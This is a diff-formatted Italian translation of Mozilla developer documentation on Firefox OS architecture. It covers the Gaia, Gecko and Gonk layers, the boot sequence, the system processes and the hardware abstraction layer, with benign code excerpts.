+ <li><a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> è l'insieme delle web app principali e dell'interfaccia utente di Firefox OS. È' scritto in HTML5, CSS e JavaScript. Espone un insieme di API per consentire al codice della UI di interagire con l'hardware del telefono e con le funzionalità di Gecko.</li>
+ <li><a href="/en-US/docs/Mozilla/Gecko">Gecko</a> è il motore web e lo strato di presentazione di Firefox OS. Rappresenta l'interfaccia fra i contenuti web e il dispositivo. Gecko fornisce il motore di parsing e rendering HTML5, un insieme di Web API sicure per accedere alle funzionalità hardware, un framework per la gestione della sicurezza, un sistema per la gestione degli aggiornamenti e altri servizi core.</li>
+ <li><a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> è il componente al livello del kernel nello stack di Firefox OS, è l'interfaccia fra Gecko e l'hardware del dispositivo. Gonk gestisce l'hardware sottostante e espone le funzionalità dell'hardware alle Web API implementate in Gecko. Gonk può essere visto come la “black box” che esegue il lavoro complesso e dettagliato dietro le scene, controllando il dispositivo mobile gestendo le richieste al livello hardware.</li>
+ <li>Il dispositivo mobile è il telefono su cui viene eseguito Firefox OS. L'OEM (Original Equipment Manifacturer, l'azienda che ha costruito il dispositivo) è responsabile per la fornitura del dispositivo mobile.</li>
+</ol>
+
+<h2 id="Architettura_specifica_di_Firefox_OS">Architettura specifica di Firefox OS</h2>
+
+<p><img alt="Firefox OS Architecture" src="/files/4605/FirefoxOS.png" style="display: block; height: 915px; margin: 0px auto; width: 754px;"></p>
+
+<h2 id="Procedura_di_boot_di_Firefox_OS">Procedura di boot di Firefox OS</h2>
+
+<p>Questa sezione descrive il processo di boot (avvio) dei dispositivi Firefox OS, quali componenti sono coinvolte e dove. Come introduzione, il flusso generale di boot del sistema va dal bootloader nello spazio di indirizzamente del kernel, a init nel codice nativo, a B2G e Gecko nello spazio utente e quindi finalmente alla system app, al window manager, alla homescreen app all'interno di Gecko. <span id="result_box" lang="it"><span class="hps">Le altre</span> <span class="hps">applicazioni vengono eseguite</span> successivamente.</span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7491/bootup.png" style="display: block; height: 1979px; margin: 0px auto; width: 2112px;"></p>
+
+<h3 id="Il_processo_di_bootstrap">Il processo di bootstrap</h3>
+
+<p>Quando un dispositivo Firefox OS viene avviato, l'esecuzione inizia nel bootloader primario. Da li, il processo di caricamento del sistema operativo procede nella modalità tipica; una successione di bootloader di più alto livello caricano quello successivo. Alla fine d questo processo, l'esecuzione viene passata al kernel Linux.</p>
+
+<p>Ci sono alcuni punti che vale la pena menzionare nel processo di boot:</p>
+
+<ul>
+ <li>I bootloader generalmente visualizzano la prima immagina (<em>splash screen</em>) vista dall'utente durante l'avvio del dispositivo; tipicamente il logo del vendor.</li>
+ <li>I bootloader implementano funzionalità per installare (<em>flashare</em>) nuove immagini sul dispositivo. Dispositivi differenti utilizzano protocolli differenti; la maggior parte dei telefoni utilizza il <a href="http://android-dls.com/wiki/index.php?title=Fastboot">protocollo fastboot</a>, il Samsung Galaxy S II invece utilizza il protocollo odin.</li>
+ <li>Prima della conclusione del processo di boot, il firmware del modem viene caricato e portato in esecuzione sul processore del modem. La modalità con cui avviene è specifico per dispositivo e potrebbe anche essere codice proprietario.</li>
+</ul>
+
+<h3 id="Il_kernel_Linux">Il kernel Linux</h3>
+
+<p>Il kernel Linux utilizzato da Gonk è veramente simile a quello originale da cui è derivato (basato sul progetto <a href="http://source.android.com/" title="http://source.android.com/">Android Open Source Project</a>). Ci sono piccole modifiche apportate nel progetto AOSP che non sono ancora stete depositate. Inoltre, i produttori di hardware alcune volte modificano il kernel e depositano tali modifiche sulla base della loro pianificazione. In generale, tuttavia, il kernel è simile all'originale.</p>
+
+<p>Il <a href="http://en.wikipedia.org/wiki/Linux_startup_process">processo di avvio di Linux</a> è ben documentato altrove in Internet, pertanto questo articolo non ne parlerà.</p>
+
+<p>Il Kernel Linux gestirà le componenti hardware del dispositivo e i principali processi. Al termine della sequenza di avvio del Kernel verrà avviato init nello spazio di indirizzamento utente (userspace), come avviene nella maggior parte dei sistemi UNIX-like. Init eseguirà i processi definiti in <code>init.rc</code> e di seguito quelli definiti in <a href="https://github.com/mozilla-b2g/gonk-misc/blob/master/init.b2g.rc">init.b2g.rc</a> quali <code>b2g</code> (Il processo principale di Firefox OS, che contiene Gecko stesso) e <code>rild</code> (il processo che gestisce la componente hardware modem e radio del dispositivo) — vedi sotto per maggiori dettagli.</p>
+
+<p>Dopo aver avviato <code>init</code>, il kernel gestisce le chiamate di sistema dai processi userspace e interrrupt dai dispositivi hardware. Molte funzionalità hardware vengono esposte ai processi userspace via <a href="http://en.wikipedia.org/wiki/Sysfs" title="http://en.wikipedia.org/wiki/Sysfs"><code>sysfs</code></a>. <span class="long_text" id="result_box" lang="it"><span class="hps">Ad esempio, il</span> <span class="hps">seguente è un </span> <span class="hps"><a href="https://github.com/cgjones/mozilla-central/blob/master/hal/gonk/GonkHal.cpp#L277" title="https://github.com/cgjones/mozilla-central/blob/master/hal/gonk/GonkHal.cpp#L277">estratto del codice</a> che legge</span> <span class="hps">lo stato di carica</span> <span class="hps">della batteria</span> in <span class="hps">Gecko</span><span>:</span></span></p>
+
+<pre class="brush:cpp;">FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r");
+double capacity = dom::battery::kDefaultLevel * 100;
+if (capacityFile) {
+  fscanf(capacityFile, "%lf", &amp;capacity);
+  fclose(capacityFile);
+}</pre>
+
+<h3 id="Altro_sul_processo_di_Init">Altro sul processo di Init</h3>
+
+<p>Sempre <code>init</code> esegue il mount dei file system richiesti e l'avvio dei servizi di sistema. Dopo di che, rimane attivo come gestore di processi. Similmente a come avviene in altri sistemi UNIX-like. Esso interpreta script (i file <code>init*.rc</code> ) che contengono i comandi per avviare vari servizi. Il file <code>init.rc</code> di Firefox OS è sostanzialmente quello orignale di Android per quel dispositivo modificato per includere quanto necessario ad avviare Firefox OS, e varia da dispositivo a dispositivo.</p>
+
+<p>Un compito chiave gestito dal processo di <code>init</code> è l'avvio del processo <code>b2g</code>; il core del sistema opetativo Firefox OS.</p>
+
+<p>Il codice in <code>init.rc</code> per avviare <code>b2g </code>è simile al seguente:</p>
+
+<pre>service b2g /system/bin/b2g.sh
+  class main
+  onrestart restart media</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Esattamente quanto <code>init.rc</code> differisce dalla versione di Android varia da dispositivo a dispositivo; alcune volte <code>init.b2g.rc</code> è semplicemente aggiunto, altre volte le modifche sono più significative.</p>
+</div>
+
+<h2 id="L'archituttura_dei_processi_userspace">L'archituttura dei processi userspace</h2>
+
+<p>Ora diamo uno sguardo di alto livello di come le varie componenti di Firefox OS interagiscono fra loro. Il diagramma mostra i principali processi userspace di Firefox OS.</p>
+
+<p><a href="/files/3849/B2G userspace architecture.svg"><img alt="Userspace diagram" src="/files/3849/B2G%20userspace%20architecture.svg" style="float: right; height: 491px; position: relative; width: 520px;"></a></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Tieni a mente che Firefox OS è in sviluppo attivo, questo diagramma può cambiare e potrebbe non essere estremamente accurato.</p>
+</div>
+
+<p><code>b2g</code> è il processo primario di sistema. VIene eseguito con privilegi molto alti; ha accesso alla maggior parte dei device hardware. <code>b2g</code> comunica con il modem, scrive sul framebuffer dello schermo, interagisce col GPS, con le fotocamere e altre funzionalità hardware. <span class="long_text" id="result_box" lang="it"><span class="hps">Internamente</span> <span class="hps">B2G</span> <span class="hps">esegue lo strato di </span><span class="hps">Gecko</span> <span class="atn hps">(</span><span>implementato da</span> <span class="hps">libxul.so</span><span>)</span><span>.</span> Leggi l'articolo su <a href="#Gecko">Gecko</a> per<span class="hps"> conoscere</span> <span class="hps">i dettagli di come</span> <span class="hps">funziona</span> <span class="hps">e come</span> <span class="hps">B2G</span> <span class="hps">comunica con</span> <span class="hps">lui</span><span>.</span></span></p>
+
+<h3 id="b2g">b2g</h3>
+
+<p>Il processo <code>b2g</code> avvia, di volta in volta, un numero di processi a bassa priorità chiamati <strong>content process</strong>. <span class="long_text" id="result_box" lang="it"><span class="hps">Si tratta di processi</span> <span class="hps">in cui vengono </span><span class="hps">caricate</span><span class="hps"> applicazioni</span> <span class="hps">web e</span> <span class="hps">altri contenuti</span> <span class="hps">web</span><span>.</span> <span class="long_text" id="result_box" lang="it"><span class="hps">Comunicano con</span> <span class="hps">Gecko </span><span class="hps">tramite</span> <a href="/en-US/docs/IPDL" title="/en-US/docs/IPDL">IPDL</a>, <span class="hps">un</span> <span class="hps">sistema</span> a passaggio di messaggi.</span></span></p>
+
+<p>Il processo <code>b2g</code> esegue libxul, che referenzia <code>b2g/app/b2g.js</code> per le preferenze di default. Dalle preferenze viene letto il file HTML <code>b2g/chrome/content/shell.html</code>, compilato all'interno del file <code>omni.ja</code>. <code>shell.html</code> include a sua volta il file <code>b2g/chrome/content/shell.js</code>, il quale avvia la <code>system</code> app di Gaia.</p>
+
+<h3 id="rild">rild</h3>
+
+<p>Il processo <code>rild</code> rappresenta l'interfaccia fra i servizi di telefonia di Firefox OS e l'hardware. <code>rild</code> è il <em>deamon</em> che implementa il <strong>Radio Interface Layer</strong> (RIL). In parte è codice proprietario ed è implementato dal produttore stesso dell'hardware per comunicare con il modulo modem/radio. Codice cliente può interfacciarsi con <code>rild</code> tramite un socket UNIX-domain su cui <code>rild </code>è in ascolto. Viene avviato dallo script di <code>init</code>, verosimilmente come segue:</p>
+
+<pre>service ril-daemon /system/bin/rild
+  socket rild stream 660 root radio</pre>
+
+<h3 id="rilproxy">rilproxy</h3>
+
+<p>In Firefox OS il processo <code>rilproxy</code> è client di <code>rild</code> e agisce da proxy fra <code>rild</code> e <code>b2g</code>. È sufficente dire che tale proxy è richiesto come dettaglio di implementazione. <a href="https://github.com/mozilla-b2g/rilproxy">Potete trovate il codice di <code>rilproxy </code>su GitHub</a><code>.</code></p>
+
+<h3 id="mediaserver">mediaserver</h3>
+
+<p>Il <a href="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice">processo <code>mediaserver</code></a> controlla la riproduzione di audio e video. Gecko si interfaccia ad esso tramite un meccanismo di chiamata di procedura remota di Android (<em>RPC, Remote Procedure Call</em>). Alcuni dei formati media che Gecko può riprodurre (OGG Vorbis audio, OGG Theora video, e <a href="http://www.webmproject.org/about/" title="http://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CDUQFjAA&amp;url=http%3A%2F%2Fwww.webmproject.org%2F&amp;ei=8Q84UOnoMoHH6wHZ44DwBA&amp;usg=AFQjCNHK9j6wyhUful5RmKCpU6b8GDfpYQ&amp;sig2=tCl8VxL3mCvrH86EyOwO_A">WebM</a> video) vengono decodificati da Gecko stesso e inviati direttamente al processo <code>mediaserver</code>. Altri formati vengono invece decodificati tramite <code>libstagefright</code>, che è in grado di accedere a codec proprietari e encoder hardware.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Il <code>mediaserver</code> è un componente "temporaneo" di Firefox OS. Si prevede che verrà sostituito ma non prima della versione 2.0 di Firefox OS.</p>
+</div>
+
+<h3 id="netd">netd</h3>
+
+<p>Il processo <code>netd</code> viene utilizzato per configurare le interfacce di rete.</p>
+
+<h3 id="wpa_supplicant">wpa_supplicant</h3>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="hps">Il processo</span> <code>wpa_supplicant </code><span class="hps">è</span> <span class="hps">un servizio standard</span> <span class="hps">UNIX</span> <span class="hps">che gestisce</span> <span class="hps">la connettività con</span> access point WIFI.</span></p>
+
+<h3 id="dbus-daemon">dbus-daemon</h3>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="hps">Il processo</span> <span class="hps">dbus</span><span>-daemon</span> <span class="hps">implementa</span> <a href="http://www.freedesktop.org/wiki/Software/dbus"><span class="hps">D</span><span>-Bus</span></a>, un sistema di comunicazione fra processi basato su bus di sistema a scambio di messaggi. Viene<span class="hps"> </span><span class="hps">utilizzato</span> <span class="hps">da Firefox</span> <span class="hps">OS</span> <span class="hps">per la comunicazione</span> <span class="hps">Bluetooth</span><span>.</span></span></p>
+
+<h2 id="Gecko">Gecko</h2>
+
+<p><a href="/it/docs/Gecko" title="it/docs/Gecko">Gecko</a>, <span class="long_text" id="result_box" lang="it"><span class="hps">come già accennato</span><span>,</span> </span><span class="long_text" lang="it"><span class="hps">implementa gli</span> <span class="hps">standard web</span> <span class="atn hps">(</span><a href="/it/docs/Web/HTML"><span>HTML</span></a><span>,</span> <a href="/it/docs/CSS"><span class="hps">CSS</span></a><span>,</span> <span class="hps">e <a href="/it/docs/Web/JavaScript">JavaScript</a></span><span>) e viene utilizzato per implementare qualsiasi cosa l'utente vede </span><span class="hps">in Firefox</span> <span class="hps">OS</span><span> e controlla tutte le interazioni con l'hardware del telefono.</span></span> Le web app connettono l'HTML5 all'hardware attraverso l'utilizzo controllato e sicuro di Web API, implementate in Gecko. Le Web API offrono accesso a funzionalità dello strato hardware del telefono (quali la batteria o la vibrazione) e ai dati memorizzati o disponibili sul telefono (quali il calendario o i contatti). I contenuti web richiamano le Web API all'interno di HTML5.</p>
+
+<p>Una app consiste in una collezione di contenuti web HTML5. Per costruire web app per dispositivi mobili Firefox OS gli sviluppatore semplicemente assemblano, pacchettizzano e distribuiscono questi contenuti web. A run time, i contenuti web vengono interpretati, compilati e renderizzati in un browser web. Per maggiori informazioni sulle App vai all'<a href="https://developer.mozilla.org/en-US/Apps">App Center.</a></p>
+
+<div class="note">
+<p><strong>Nota</strong>: <span class="long_text" id="result_box" lang="it"><span class="hps">Puoi trovare il codice sorgente di Gecko alla url </span><a href="http://dxr.mozilla.org">http://dxr.mozilla.org</a><span>. </span><span class="atn hps">E '</span><span>un buon riferimento, ma </span><span>con un numero limitato di repository.</span> <span class="hps">Oppure puoi utilizzare il tradizionale </span> <a href="http://mxr.mozilla.org">http://mxr.mozilla.org</a><span>, </span><span class="hps">che contiene</span> <span class="hps">più progetti</span> <span class="hps">Mozilla</span><span>.</span></span></p>
+</div>
+
+<h3 id="Diagramma_architetturale_di_Gecko">Diagramma architetturale di Gecko</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="height: 591px; width: 979px;"></p>
+
+<ul>
+ <li><strong>Security Framework</strong>: contiene
+
+  <ul>
+   <li><strong>Permission Manager</strong>: Gateway di accesso alle funzionalità delle Web API.</li>
+   <li><strong>Access Control List</strong>: Matrice di ruoli e permessi richiesti per accedere alle funzionalità delle Web API.</li>
+   <li><strong>Credential Validation</strong>: Authenticazione per applicazioni/utenti.</li>
+   <li><strong>Permissions Store</strong>: Insieme di privilegi richiesti per accedere alle funzionalità delle Web API.</li>
+  </ul>
+ </li>
+ <li><strong>Web API</strong>: Insieme di API standard che espongono funzionalità hardware a contenuti web. Forniscono alle web app un'accesso sicuro e programmatico a catteristiche del sottostante strato hardware del dispositivo mobile, assieme ai dati che sono memorizzati, o sono disponibili, sul dispositivo.</li>
+ <li><strong>I/O</strong>: Interfaccia verso l'hardware e archivi di dati.</li>
+ <li><strong>Software Updates</strong>: Ottiene e installa aggiornamenti software di sistema e per le applicazioni di terze parti.</li>
+ <li><strong>Content Layout &amp; Rendering</strong>: Il motore che analizza, interpreta ed esegue contenuti web e, con le informazioni di formattazione, mostra i contenuti formattati all'utente.</li>
+ <li><strong>b2g process</strong>: (Gecko) viene eseguito da un processo di sistema con privilegi elevati ed ha accesso all'hardware del telefono. Le applicazioni in esecuzione sono processi figli di b2g.</li>
+</ul>
+
+<h3 id="I_file_di_Gecko_relativi_a_Firefox_OS">I file di Gecko relativi a Firefox OS</h3>
+
+<h4 id="b2g_2">b2g/</h4>
+
+<p>La cartella b2g contiene principalmente le funzioni relative a Firefox OS.</p>
+
+<h5 id="b2gchromecontent">b2g/chrome/content</h5>
+
+<p>Contiene i file Javascript che vengono eseguiti dalla system app.</p>
+
+<h5 id="b2gchromecontentshell.html">b2g/chrome/content/shell.html</h5>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="atn hps">È </span><span>il punto di ingresso</span> <span class="hps">di Gaia</span> <span class="hps">-</span> <span class="hps">il codice HTML</span> <span class="hps">per</span> la<span class="hps"> system app. </span> <span class="hps"><code>shell.html</code></span> carica <span class="hps">settings.js</span> <span class="hps">e</span> <span class="hps">shell.js</span><span>:</span><span>.</span></span></p>
+
+<pre class="brush: html">&lt;script type="application/javascript;version=1.8" src="chrome://browser/content/settings.js"&gt; &lt;/script&gt;
+&lt;script type="application/javascript;version=1.8" src="chrome://browser/content/shell.js"&gt; &lt;/script&gt;</pre>
+
+<p><code>settings.js</code> contiene i parametri di default di sistema.</p>
+
+<h5 id="b2gchromecontentshell.js">b2g/chrome/content/shell.js</h5>
+
+<p><code>shell.js</code> importa tutti i moduli necessari, registra i <em>listener </em>principali, imposta <code>sendCustomEvent</code> e <code>sendChromeEvent</code> per comunicare con Gaia e fornisce supporto per l'installazione delle webapp: dalle quote di indexedDB, alle funzionalità di RemoteDebugger, al supporto per le tastiere e ai tool di cattura delle schermate.</p>
+
+<p>La funzionalità più importante di <code>shell.js</code> è quella di avviare la <code>system </code>app di Gaia e successivamente quello di delegare tutte le attività di gestione alla <code>system</code> app stessa.</p>
+
+<pre class="brush: js">let systemAppFrame =
+  document.createElementNS('http://www.w3.org/1999/xhtml', 'html:iframe');
+    ...
+  container.appendChild(systemAppFrame);</pre>
+
+<h5 id="b2gappb2g.js">b2g/app/b2g.js</h5>
+
+<p>Questo script contiene le impostazioni predefinite, quali about:config nel browser e le stesse pref.js di Gaia. <span class="long_text" id="result_box" lang="it"><span class="hps">Queste impostazioni</span> <span class="hps">possono essere modificate</span> dalla app di Settings <span class="hps">o</span> <span class="hps">sovrascritte</span> <span class="hps">da</span> <span class="hps">user.js</span> <span class="hps">negli</span> <span class="hps">script di build</span> di Gaia.</span></p>
+
+<h4 id="domAPI">dom/{API}</h4>
+
+<p>Le nuove API (post-b2g) saranno collocate nella cartella <code>dom/</code>. Le vecchie API saranno collocate nella cartella dom/base, come ad esempio <code>Navigator.cpp</code>.</p>
+
+<h5 id="domapps">dom/apps</h5>
+
+<p><code>.jsm</code> verranno caricati— <code>.js</code> API quali <code>webapp.js</code> installate</p>
+
+<h5 id="domappssrc">dom/apps/src/</h5>
+
+<p>Tutti i permessi sono definiti in <a href="http://mxr.mozilla.org/mozilla-central/source/dom/apps/src/PermissionsTable.jsm">PermissionsTable.jsm</a></p>
+
+<h4 id="domwebidl">dom/webidl</h4>
+
+<p>WebIDL è il linguaggio utilizzato per definire le web API. Dai una lettura a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/WebIDL_bindings">WebIDL_bindings</a> per conoscere quali attribuiti sono supportati.</p>
+
+<h4 id="halgonk">hal/gonk</h4>
+
+<p>Questa cartella contiene i file relativi ai livelli di porting di Gonk.</p>
+
+<h4 id="File_generati">File generati</h4>
+
+<h5 id="modulelibprefsrcinitall.js">module/libpref/src/init/all.js</h5>
+
+<p>Contiene tutti i file di configurazione.</p>
+
+<h5 id="systemb2g_omni.ja_and_omni.js">/system/b2g/ omni.ja and omni.js</h5>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="hps">Contiene</span> i pacchetti di <span class="hps">stile</span>.</span></p>
+
+<h3 id="Eleborazione_degli_eventi_di_input">Eleborazione degli eventi di input</h3>
+
+<p>La maggior parte degli eventi di Gecko vengono innescati da azioni utente, quali la pressione di pulsanti, il tocco su un touch screen, e così via. Questi eventi vengono acquisiti da Gecko tramite l'interfaccia <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAppShell">nsIAppShell</a> <a href="http://mxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp">implementata da Gonk</a> che rappresenta il punto di ingresso principale per una applicazione di Gecko; cioè, il device driver della periferica di input richiamerà i metodi esposti dall'oggetto <code>nsAppShell</code> che rappresenta il sottosistema di Gecko per inviare eventi all'interfaccia utente.</p>
+
+<p>Per esempio:</p>
+
+<pre class="brush:cpp;">void GeckoInputDispatcher::notifyKey(nsecs_t eventTime,
+                                     int32_t deviceId,
+                                     int32_t source,
+                                     uint32_t policyFlags,
+                                     int32_t action,
+                                     int32_t flags,
+                                     int32_t keyCode,
+                                     int32_t scanCode,
+                                     int32_t metaState,
+                                     nsecs_t downTime) {
+  UserInputData data;
+  data.timeMs = nanosecsToMillisecs(eventTime);
+  data.type = UserInputData::KEY_DATA;
+  data.action = action;
+  data.flags = flags;
+  data.metaState = metaState;
+  data.key.keyCode = keyCode;
+  data.key.scanCode = scanCode;
+  {
+    MutexAutoLock lock(mQueueLock);
+    mEventQueue.push(data);
+  }
+  gAppShell-&gt;NotifyNativeEvent();
+}</pre>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="hps">Questi eventi</span> <span class="hps">provengono dal sistema</span> <span class="hps">input_event</span> <span class="hps">standard di Linux</span><span>.</span> <span class="hps">Su questa struttura Firefox</span> <span class="hps">OS</span> <span class="hps">ha implementato uno </span> <a href="http://mxr.mozilla.org/mozilla-central/source/widget/gonk/libui/InputReader.cpp"><span class="atn hps">s</span><span>trato</span> <span class="hps">di astrazione</span></a><span class="hps"> </span><span class="hps">che</span> <span class="hps">fornisce alcune</span> <span class="hps">funzioni molto utili come</span> <span class="hps">il filtro degli eventi</span><span>.</span> <span class="hps">Si può vedere</span> <span class="hps">il codice che crea</span> <span class="hps">eventi di input nel metodo </span> <span class="hps">EventHub</span> <span class="hps">::</span> <span class="hps">GetEvents</span> <span class="hps">in</span> <a href="http://mxr.mozilla.org/mozilla-central/source/widget/gonk/libui/EventHub.cpp"><span class="hps">widget/</span><span class="hps">Gonk</span><span class="hps">/</span><span class="hps">libui</span>/E<span class="hps">ventHub.cpp</span></a><span>.</span></span></p>
+
+<p>Una volta ricevuti da Gecko, gli eventi vengono inoltrati al DOM da <code><a href="http://mxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp">nsAppShell</a>:</code></p>
+
+<pre class="brush:cpp;">static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode,
+                                         uint32_t msg,
+                                         uint64_t timeMs,
+                                         uint32_t flags) {
+    nsKeyEvent event(true, msg, NULL);
+    event.keyCode = keyCode;
+    event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE;
+    event.time = timeMs;
+    event.flags |= flags;
+    return nsWindow::DispatchInputEvent(event);
+}
+</pre>
+
+<p>Dopo di che, gli eventi vengono consumati da Gecko stesso o vengono inoltrati alle applicazioni Web come <a href="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events" title="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events">eventi DOM</a> per ulteriori elaborazioni.</p>
+
+<h3 id="Grafica">Grafica</h3>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="hps">Al livello</span> <span class="hps">più basso</span><span>,</span> <span class="hps">Gecko</span> <span class="hps">utilizza <a href="http://www.khronos.org/opengles/2_X/">OpenGL ES 2.0 </a></span> <span class="hps">per disegnare un contesto OpenGL. </span><span class="hps">Questo avviene in </span><a href="http://mxr.mozilla.org/mozilla-central/source/widget/gonk/nsWindow.cpp"><span>NSWindow</span></a><span><a href="http://mxr.mozilla.org/mozilla-central/source/widget/gonk/nsWindow.cpp"> </a>implementata da Gonk, con c</span><span class="hps">odice</span> <span class="hps">simile a questo</span><span>:</span></span></p>
+
+<pre class="brush:cpp;">gNativeWindow = new android::FramebufferNativeWindow();
+sGLContext = GLContextProvider::CreateForWindow(this);</pre>
+
+<p>La classe <code>FramebufferNativeWindow</code> è quella nativa Android; vedi <a href="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp" title="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp"><code>FramebufferNativeWindow.cpp</code></a>. Essa utilizza le API <strong>gralloc</strong> per accedere ai driver grafici per mappare i buffer dal framebuffer nella memoria.</p>
+
+<p>Gecko usa i suoi <a href="/en-US/docs/Gecko/Layers" title="/en-US/docs/Gecko/Layers">Layers</a> per comporre contesti sullo schermo. In sintesi accade quanto di seguito descritto:</p>
+
+<ol>
+ <li>Gecko scrive regioni di pagine separate in buffer di memoria. Spesso questi buffer sono nella memoria di sistema; altre volte sono delle texture mappate nello spazio di indirizzamento di Gecko, il che significha che Gecko sta scrivendo direttamente nela memoria video. Questo avviene generalmente attraverso il metodo <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#83" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>BasicThebesLayer::PaintThebes()</code></a>.</li>
+ <li>Gecko quindi compone tutte le texture sullo schermo utilizzando comandi OpenGL. Questa composizione avviene in <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/opengl/ThebesLayerOGL.cpp#124" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>ThebesLayerOGL::RenderTo()</code></a>.</li>
+</ol>
+
+<p><span class="long_text" id="result_box" lang="it"><span class="hps">I dettagli</span> <span class="hps">di come il</span> <span class="hps">Gecko</span> <span class="hps">gestisce il rendering</span> <span class="hps">dei contenuti</span> <span class="hps">web è</span> <span class="hps">oltre lo scopo di</span> <span class="hps">questo documento</span><span>.</span></span></p>
+
+<h3 id="Hardware_Abstraction_Layer_(HAL)">Hardware Abstraction Layer (HAL)</h3>
+
+<p>Lo strato di astrazione dell'hardware di Gecko è uno dei livelli di portabilità. Gestisce l'accesso alle interfacce di sistema di più basso livello su più piattaforme attraverso API C++, utilizzate dai livelli più alti di Gecko. Queste API sono implementate su base piattaforma all'interno del HAL di Gecko stesso. Lo strato di astrazione dell'hardware non viene esposto direttamente al codice JavaScript in Gecko - di questa interazione se ne occupano le Web API.</p>
+
+<p>Diamo uno sguardo al processo da una prospettiva di più alto livello. Quando un utente utilizza una funzionalità del telefono (ad esempio effettua una chiamata, accede ad una rete wifi o si connette via Bluetooth), tutti gli strati dello stack tecnologico di Firefox OS vengono coinvolti per completare la richiesta. Le applicazioni e i contenuti web sottopongono le richieste per accedere al dispositivo attraverso chiamate alle Web API (direttamente all'interno di funzioni HTML5) implementate in Gecko. Gecko, a sua volta, sottopone le richieste a Gonk. Una singola richiesta di Gecko può innescare una serie complessa di operazioni, avviate e gestite da Gonk, sul dispositivo mobile.</p>
+
+<h4 id="Come_lavora_HAL">Come lavora HAL</h4>
+
+<p>Consideriamo come esempio la API di <a href="/en-US/docs/Web/API/window.navigator.vibrate">Vibrazione</a>. Definita in <a href="http://mxr.mozilla.org/mozilla-central/source/hal/Hal.h">hal/Hal.h</a>. In sintesi (semplificando la firma del metodo), abbiamo la seguente funzione:</p>
+
+<pre>void Vibrate(const nsTArray&lt;uint32&gt; &amp;pattern);</pre>
+
+<p>Questa è la funzione chiamata dal codice di Gecko per abilitare la vibrazione del dispositivo in accordo con lo specifico <em>pattern</em>; una funzione corrispondente è disponibile per rimuovere la vibrazione. L'implementazione di Gonk di questo metodo è presente nel file <a href="http://mxr.mozilla.org/mozilla-central/source/hal/conk/GonkHal.cpp">hal/gonk/GonkHal.cpp</a>:</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt; &amp;pattern) {
+  EnsureVibratorThreadInitialized();
+  sVibratorRunnable-&gt;Vibrate(pattern);
+}
+</pre>
+
+<p>Viene inviata la richiesta per avviare la vibrazione sul dispositivo ad un altro thread, tramite l'istruzione <code>VibratorRunnable::Run()</code>. Il ciclo principale di questo thread è simile al seguente:</p>
+
+<pre class="brush:cpp;">while (!mShuttingDown) {
+  if (mIndex &lt; mPattern.Length()) {
+    uint32_t duration = mPattern[mIndex];
+    if (mIndex % 2 == 0) {
+      vibrator_on(duration);
+    }
+    mIndex++;
+    mMonitor.Wait(PR_MillisecondsToInterval(duration));
+  }
+  else {
+    mMonitor.Wait();
+  }
+}
+</pre>
+
+<p><code>vibrator_on()</code> è la API definita nel HAL di Gonk che avvia il motore di vibrazione. Internamente questo metodo invia un messaggio all'apposito driver scrivendo su un oggetto del kernel attraverso <code>sysfs</code>.</p>
+
+<h4 id="Implementazione_delle_API_di_Fallback_del_HAL">Implementazione delle API di Fallback del HAL</h4>
+
+<p>Le API HAL di Gecko sono sempre disponibili su tutte le piattaforme. Se Gecko viene portato su una nuova piattaforma che non espone il motore di vibrazione (ad esempio un desktop), viene comunque resa disponibile una API di <em>fallback</em>. Per il motore di vibrazione la API è implementata in <a href="http://mxr.mozilla.org/mozilla-central/source/hal/fallback/FallbackVibration.cpp">hal/fallback/FallbackVibration.cpp</a>.</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt; &amp;pattern) {
+}</pre>
+
+<h4 id="Implementazione_delle_Sandbox">Implementazione delle Sandbox</h4>
+
+<p>Poichè molti contenuti web vengono eseguiti in <em>content process</em> con privilegi bassi, non possiamo assumere che quei processi abbiano i privilegi adeguati (ad esempio) per avviare o spegnere il motore di vibrazione. Inoltre, vorremmo avere un posto unico in cui gestire eventuali situazioni di <em>race condition</em>. Nel HAL di Gecko questo viene gestito tramite una "sandbox". La sandbox agisce come un proxy, semplicemente inoltrando le richieste dei content process al "Gecko server". Le richieste vengono inoltrate utilizzando IPDL.</p>
+
+<p>Per la vibrazione, questo viene gestito dalla funzione di <code>Vibrate()</code> implementata in <a href="http://mxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp">hal/sandbox/SandboxHal.cpp</a>:</p>
+
